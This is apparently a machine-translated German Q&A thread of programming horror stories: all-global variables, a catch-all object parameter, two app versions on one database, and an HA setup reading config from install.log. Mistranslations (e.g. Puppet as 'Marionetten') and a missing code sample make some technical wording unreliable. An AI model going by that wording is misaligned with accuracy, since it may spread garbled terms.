Außerdem war in dieser Bibliothek (und allen zugehörigen Programmen) keine einzige Variable lokal (ich habe es überprüft!). Funktionen wurden entwickelt, um entweder dieselben Variablen wiederherzustellen, sobald sie als sicher erachtet wurden, um sie zu verschwenden, oder um neue Variablen zu erstellen, die für die gesamte Dauer des Prozesses weiterleben. Ich habe mehrere Seiten ausgedruckt und farblich gekennzeichnet. Gelb bedeutete "global, nie durch eine andere Funktion verändert", Rot bedeutete "global, durch mehrere verändert". Grün wäre "lokal" gewesen, aber es gab keine.
Oh, habe ich die Kontrollversion erwähnt? Weil es natürlich keine gab.
ADD ON: Ich habe mich gerade an eine Funktion erinnert, die ich vor kurzem entdeckt habe.
Sein Zweck war es, eine Reihe von Arrays von Intergern durchzugehen und jedes erste und letzte Element auf 0 zu setzen. Es ging so (kein tatsächlicher Code aus dem Speicher und mehr C # -esque):
Der Punkt war natürlich, dass jedes Sub-Array dies ausführen musste, beide Operationen, für alle Elemente. Ich bin mir nur nicht sicher, wie sich ein Programmierer für so etwas entscheiden kann.
quelle
Ähnlich wie jemand anderes oben erwähnt:
Ich habe an einem Ort gearbeitet, der eine Pseudoskriptsprache in der Anwendung hatte. Es speiste in eine massive Methode ein, die ungefähr 30 Parameter und einen Riesen hatte
Select Case
Aussage hatte.Es war Zeit, weitere Parameter hinzuzufügen, aber der Mann im Team, der das tun musste, erkannte, dass es bereits zu viele gab.
Seine Lösung?
Er fügte eine Single hinzu
object
Parameter , damit er alles übergeben konnte, was er wollte, und es dann umwandeln konnte.Ich konnte diesen Ort nicht schnell genug verlassen.
quelle
Nachdem unsere Kundenteams einige seltsame Probleme gemeldet hatten, stellten wir fest, dass zwei verschiedene Versionen der Anwendung auf dieselbe Datenbank verweisen. (Während der Bereitstellung des neuen Systems für sie wurde ihre Datenbank aktualisiert, aber jeder vergaß, sein altes System herunterzufahren.)
Dies war eine Wunderflucht.
Und seitdem haben wir zum Glück einen automatisierten Build- und Deployment-Prozess :-)
quelle
Ich denke, dass es ein Programm war, das eine Schleife in die Allzweckregister eines pdp-10 geladen und dann den Code in diesen Registern ausgeführt hat.
Sie könnten das auf einem pdp-10 tun. Das heißt nicht, dass du es solltest.
EDIT: Zumindest ist dies das Beste aus meiner (manchmal ziemlich schäbigen) Erinnerung.
quelle
Ich hatte das große Unglück, ein ziemlich verrücktes Verhalten in einer semi-benutzerdefinierten Datenbank-Hochverfügbarkeitslösung zu finden.
Die Kernbits waren unauffällig. Red Hat Enterprise Linux, MySQL, DRBD und das Linux-HA-Zeug. Die Konfiguration wurde jedoch von einem vollständig benutzerdefinierten Marionetten-ähnlichen System beibehalten (es ist nicht überraschend, dass es viele andere Beispiele für Wahnsinn gibt, die aus diesem System resultieren).
Es stellt sich heraus, dass das System das überprüft hat
install.log
Datei, die Kickstart im Stammverzeichnis hinterlässt, auf einen Teil der Informationen zum Erstellen der DRBD-Konfiguration erforderlich sind. Das an sich ist natürlich böse. Sie ziehen die Konfiguration nicht aus einer Protokolldatei, deren Format nicht tatsächlich definiert ist. Es wird jedoch schlimmer.Diese Daten wurden nirgendwo anders gespeichert, und jedes Mal, wenn sie alle 60 Sekunden ausgeführt wurden, wurden sie konsultiert
install.log
.Ich lasse Sie nur raten, was passiert ist, als sich jemand zum ersten Mal entschied, diese ansonsten nutzlose Protokolldatei zu löschen.
quelle